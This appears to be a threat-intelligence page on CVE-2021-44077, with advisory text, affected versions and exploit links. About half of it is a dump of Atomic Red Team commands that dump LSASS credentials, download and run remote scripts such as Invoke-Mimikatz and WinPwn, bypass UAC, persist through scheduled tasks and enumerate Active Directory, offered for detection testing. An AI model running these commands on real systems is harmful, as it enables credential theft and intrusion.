CVE-2021-44077
Overview
This vulnerability is an unauthenticated remote code execution flaw caused by improper access control in the Struts framework configuration. Specifically, the ImportTechnicians action within the /RestAPI servlet is exposed without authentication, allowing direct invocation. The root cause lies in the lack of authorization enforcement on critical API endpoints, enabling attackers to execute arbitrary commands remotely via crafted HTTP requests targeting the vulnerable servlet.
Vulnerability Description
Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014 are vulnerable to unauthenticated remote code execution. This is related to /RestAPI URLs in a servlet, and ImportTechnicians in the Struts configuration.
Impact
An unauthenticated attacker can execute arbitrary code on the affected system remotely without any user interaction or credentials. This enables full system compromise, including unauthorized data access, manipulation, and potential lateral movement within the network. The vulnerability allows attackers to control the underlying operating system, posing a critical risk to confidentiality, integrity, and availability of the affected environment.
Solution
Apply the vendor-provided patches as detailed in ManageEngine security advisories for ServiceDesk Plus versions 11306 and above, ServiceDesk Plus MSP 10530 and above, and SupportCenter Plus 11014 and above. Refer to the official ManageEngine advisory portals for step-by-step patch instructions and version-specific updates. No alternative workarounds are recommended; prompt application of the updates is necessary to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in specific versions of Zoho's ManageEngine ServiceDesk Plus and SupportCenter Plus products is characterized by unauthenticated remote code execution. This flaw arises from improper handling of requests directed to the /RestAPI URLs within a servlet, particularly concerning the ImportTechnicians functionality in the Struts configuration. The lack of adequate authentication checks allows an attacker to send crafted requests that can lead to arbitrary code execution on the server. This vulnerability is particularly severe due to its high CVSS score of 9.8, indicating a critical risk to affected systems.
Attack vectors for this vulnerability are notably straightforward, as they do not require any form of authentication. An attacker can exploit this weakness by sending specially crafted HTTP requests to the vulnerable endpoints. For instance, an attacker could leverage tools to automate the process of sending requests that invoke the ImportTechnicians function, potentially leading to the execution of malicious payloads. The implications of such exploitation are profound, as it could allow an attacker to gain complete control over the affected system, leading to data breaches, service disruptions, or even lateral movement within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the affected products for IT service management. Given the critical nature of the data handled by these systems, including sensitive customer information and internal communications, the consequences of exploitation could be dire. Organizations may face reputational damage, regulatory fines, and financial losses due to downtime or data loss. The potential for attackers to deploy ransomware or other malicious software further exacerbates the business risk, making it imperative for organizations to prioritize the remediation of this vulnerability.
Detection of this vulnerability can be challenging due to its nature, as it may not trigger traditional security alerts. Organizations should implement a combination of network monitoring and application security measures to identify unusual patterns of behavior indicative of exploitation attempts. Regular vulnerability scanning and penetration testing can also help in identifying unpatched systems or configurations that are susceptible to this flaw.
Mitigation strategies should focus on immediate patching of the affected products, as updates have been released to address the vulnerability. Organizations should also review their security policies to ensure that proper authentication and authorization mechanisms are in place for all API endpoints. Additionally, implementing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Regular security training for developers and IT staff can further enhance the organization's resilience against similar vulnerabilities in the future. By adopting a proactive security posture, organizations can significantly reduce their risk exposure related to this critical vulnerability.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-44077, with new telemetry indicating the first confirmed active use of this unauthenticated remote code execution vulnerability in the wild. This development is underscored by the emergence of additional proof-of-concept exploits, including a Golang-based variant, alongside the existing Metasploit module that facilitates SYSTEM-level code execution. Although the EPSS score shows a slight decline, the practical exploitation activity observed by our sensors elevates the immediate threat level, signaling that adversaries are actively leveraging this vulnerability to compromise ManageEngine ServiceDesk Plus environments. This shift from theoretical risk to demonstrated exploitation necessitates heightened vigilance, as the vulnerability’s critical severity and unauthenticated attack vector make it a prime target for opportunistic attackers and potentially for integration into broader attack campaigns.
Update 2 — July 30, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-44077, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge coincides with the emergence of additional publicly available proof-of-concept exploits, including a Golang-based variant, which lowers the barrier for adversaries to weaponize the vulnerability. Our sensors also confirm increased integration of this exploit within automated attack frameworks, such as Metasploit, facilitating rapid and widespread targeting of vulnerable ManageEngine ServiceDesk Plus deployments. The combination of unauthenticated remote code execution and SYSTEM-level privilege escalation continues to make this vulnerability exceptionally attractive for threat actors seeking initial access or lateral movement capabilities. Consequently, the threat landscape has shifted from a primarily theoretical concern to an actively exploited vector with demonstrated operational impact. This evolution elevates the risk profile, underscoring the necessity for defenders to prioritize detection and response efforts despite the stable EPSS score, as real-world exploitation dynamics now present a heightened and immediate threat.
Affected Products (73)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zohocorp | Manageengine Servicedesk Plus | All |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:*:*:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11138:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11139:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11140:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11141:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11142:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11143:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11144:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.1 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.1:11145:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11200:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11201:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11202:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11203:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11204:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11205:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11206:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11207:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11208:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11209:*:*:*:*:*:*
|
|
|
Zohocorp | Manageengine Servicedesk Plus | 11.2 |
cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:11.2:11210:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
ManageEngine ServiceDesk Plus CVE-2021-44077
exploits/windows/http/manageengine_servicedesk_plus_cve_2021_44077
|
wvu, Y4er | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/CVE-2021-44077
Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077
|
horizon3ai | 36 | 9 | 2021-12-08 | View |
|
pizza-power/Golang-CVE-2021-44077-POC
Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306
|
pizza-power | 2 | 0 | 2022-09-29 | View |
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
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